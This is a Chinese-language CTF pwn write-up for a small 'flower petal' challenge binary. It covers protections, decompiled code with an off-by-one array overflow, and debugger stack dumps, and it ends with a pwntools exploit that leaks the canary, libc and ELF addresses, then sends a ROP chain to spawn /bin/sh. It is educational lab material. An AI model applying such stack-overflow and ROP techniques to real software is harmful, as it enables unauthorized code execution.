

队伍 ID:# 000013

队伍 Token: h8pMIHOI1BR7Pbutb4fUh

1.例行检查

```
root@flower-Virtual-Platform:/hone/flower/桌面# checksec --file=vuln
RELRO      STACK Canary  NX      PIE      RPATH      RUNPATH      Symbols      FORTIFY Fortified  Fortifiable  FILE
Full RELRO  Canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  48 Symbols  No 0 1 1
vuln
```

裹的过于严实

2.本地运行一下看看大概情况

```
Let's look at the results.
1 + 7 =
He or she doesn't love you.
What a pity!
I can give you just ONE more chance.
Wish that this time they love you.

As we know,there's a tradition to determine whether someone loves you or not...
... by counting flower petals when u are not sure.

How many flowers have you prepared this time?
2

Tell me the number of petals in each flower.
the flower number 1 : 1
the flower number 2 : 1

Do you want to start with 'love me'
...or 'not love me'?
Reply 1 indicates the former and 2 indicates the latter:
1

Sometimes timing is important, so I added a little bit of randomness.

Let's look at the results.
1 + 1 + 15 =
Congratulations,he or she loves you.
```

3.64 位 ida 载入

修改一下变量名辅助查看

遍历写入，遍历输出，存在数组溢出，随机数 1/2 概率打断循环

```

2 {
3     int while_count; // [rsp+Ch] [rbp-A4h]
4     int out_index; // [rsp+10h] [rbp-A0h]
5     int rand_num; // [rsp+14h] [rbp-9Ch]
6     __int64 flower[17]; // [rsp+18h] [rbp-98h] BYREF
7     int flower_count; // [rsp+A0h] [rbp-10h] BYREF
8     int index; // [rsp+A4h] [rbp-Ch]
9     unsigned __int64 v10; // [rsp+A8h] [rbp-8h]
10
11     v10 = __readfsqword(0x28u);
12     init(argc, argv, envp);
13     while_count = 0;
14     while ( 1 )
15     {
16         out_index = 0;
17         rand_num = rand() % 30;
18         index = 0;
19         puts("\nAs we know,there's a tradition to determine whether someone loves you or not...");
20         puts("... by counting flower petals when u are not sure.");
21         puts("\nHow many flowers have you prepared this time?");
22         __isoc99_scanf("%d", &flower_count); // 循环遍历次数
23         if ( flower_count > 16 )
24         {
25             puts("\nNo matter how many flowers there are, they cannot change the fact of whether he or she loves you.");
26             puts("Just a few flowers will reveal the answer,love fool.");
27             exit(0);
28         }
29         puts("\nTell me the number of petals in each flower.");
30         while ( index < flower_count )
31         {
32             printf("the flower number %d : ", (unsigned int)++index);
33             __isoc99_scanf("%ld", &flower[index + 1]); // index最大到16, 溢出一个元素
34         }
35         puts("\nDo you want to start with 'love me'");
36         puts("...or 'not love me'?");
37         puts("Reply 1 indicates the former and 2 indicates the latter: ");
38         __isoc99_scanf("%ld", &flower);
39         puts("\nSometimes timing is important, so I added a little bit of randomness.");
40         puts("\nLet's look at the results.");
41         while ( out_index < flower_count )
42         {
43             printf("%ld + ", flower[++out_index + 1]);
44             flower[0] += flower[out_index + 1];
45         }
46         printf("%d", (unsigned int)rand_num);
47         flower[0] += rand_num;
48         puts(" = ");
49         if ( (flower[0] & 1) == 0 ) // 奇偶
50             break; // rand_num会影响的地方
51         puts("He or she doesn't love you.");
52         if ( while_count > 0 )
53             return 0; // 2次
54         ++while_count;
55         puts("What a pity!");
56         puts("I can give you just ONE more chance.");
57         puts("Wish that this time they love you.");

```

4.动态调试

Scanf 下断点，发现第 16 次写入到了遍历输出的索引

```

[ Disasm: x86_64 | Set emulate on ]
> 0x5555555540f <main+336> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x5555555561b6 ← 0x646c25 /* '%ld' */
vararg: 0x7fffffffdd50 ← 0x1000000010

0x555555555414 <main+341> mov     edx, dword ptr [rbp - 0xc]
0x555555555417 <main+344> mov     eax, dword ptr [rbp - 0x10]
0x55555555541a <main+347> cmp     edx, eax
0x55555555541c <main+349> jl      main+265 <main+265>

0x55555555541e <main+351> lea     rax, [rip + 0xd9b] RAX => 0x5555555561c0 ← "\nDo you want to start with 'love me
"
0x555555555425 <main+358> mov     rdi, rax
0x555555555428 <main+361> call    puts@plt <puts@plt>

0x55555555542d <main+366> lea     rax, [rip + 0xdb1] RAX => 0x5555555561e5 ← "...or 'not love me'?"
0x555555555434 <main+373> mov     rdi, rax
0x555555555437 <main+376> call    puts@plt <puts@plt>

```

查看此时栈上内容

```

pwndbg> stack 40
00:0000 | rsp 0x7fffffffcd00 ← 0
01:0000 | -0a0 0x7fffffffcd00 ← 0
02:0010 | -0a0 0x7fffffffcd00 ← 0x1700000000
03:0018 | -098 0x7fffffffcd00 ← 0
04:0020 | rdx 0x7fffffffcd00 ← 0
05:0028 | -088 0x7fffffffcd00 ← 0x465
... ↓ 14 skipped
14:00a0 | rsi 0x7fffffffdd50 ← 0x100000010
15:00a8 | -008 0x7fffffffdd50 ← 0xbbb4acd0893fc300
16:00b0 | rbp 0x7fffffffdd60 ← 1
17:00b8 | +008 0x7fffffffdd60 → 0x7ffff7c29090 ← mov edi, eax
18:00c0 | +010 0x7fffffffdd70 ← 0
19:00c8 | +018 0x7fffffffdd70 → 0x555555552b7f (main) ← endbr64
1a:00d0 | +020 0x7fffffffdd80 ← 0x1ffffde60
1b:00d8 | +028 0x7fffffffdd80 → 0x7fffffde70 → 0x7fffffe1b7 ← 0x6c62f656d6f682f ('/home/FL')
1c:00e0 | +030 0x7fffffffdd90 ← 0
1d:00e8 | +038 0x7fffffffdd90 ← 0x85fc891bfe95810b
1e:00f0 | +040 0x7fffffffdd90 → 0x7fffffde70 → 0x7fffffe1b7 ← 0x6c62f656d6f682f ('/home/FL')
1f:00f8 | +048 0x7fffffffdd90 → 0x555555552b7f (main) ← endbr64
20:0100 | +050 0x7fffffffdd90 → 0x555555557400 (__do_global_ctors_aux_fini_array_entry) → 0x55555555200 ('_do_global_ctors_aux') ← endbr64
21:0108 | +058 0x7fffffffdd90 → 0x7fffff7f0000 ('_rld_global') → 0x7ffff7f7e00 → 0x555555554000 ← 0x10102464c457f
22:0110 | +060 0x7fffffffdd90 → 0x7e0376e44477010b
23:0118 | +068 0x7fffffffdd90 ← 0x7e03669ec41f010b
24:0120 | +070 0x7fffffffdd90 ← 0x7fff00000000
25:0128 | +078 0x7fffffffdd90 ← 0
... ↑ 2 skipped

```

因此思路就是第一次通过越界写入改变遍历输出索引，得到 canary 地址，libc 地址，elf 地址，随机数 1/2 概率进行两次循环，第二次循环写入 rop 链

EXP:

```
from pwn import *
```

```
context(arch = 'amd64', os = 'linux', log_level = 'debug')
```

```
binary = './vuln'
```

```
libc = './libc.so.6'
```

```
#r = remote("node1.hgame.vidar.club",30666)
```

```
r = process("./vuln")
```

```
libc = ELF(libc)
```

```
def build(num):
```

```
    r.sendlineafter(b"time?\n", str(num).encode())
```

```
def payload(num1):
```

```
    r.sendlineafter(b"flower number", str(num1).encode())
```

```
def addr(data):
```

```
    data_str = data.decode('utf-8')
```

```
    print(data_str)
```

```
    leak_data = data_str.split(' + ')
```

```
    int_a = [int(item) for item in leak_data]
```

```
    return int_a
```

```
build(16)
```

```
for i in range(15):
```

```
payload(1125)

payload(0x2100000021)
r.sendlineafter(b"the latter: ", str(1).encode())
tj = r.recvuntil(" = \n")[107:-9]
print(tj)
tj = addr(tj)
print(tj)
canary = tj[15]
libc_base = tj[17] - 0x29d90
elf_base = tj[19] - 0x12bf

success(hex(canary))
success(hex(libc_base))
success(hex(elf_base))

build(16)
for i in range(15):
    payload(1125)
payload(0x1200000016)
payload(str(libc_base + 0x2a3e5))
payload(str(libc_base + next(libc.search(b"/bin/sh"))))
payload(str(elf_base + 0x15b3))
payload(str(libc_base + libc.symbols['system']))

r.sendlineafter("the latter: ", str(1))

r.interactive()
```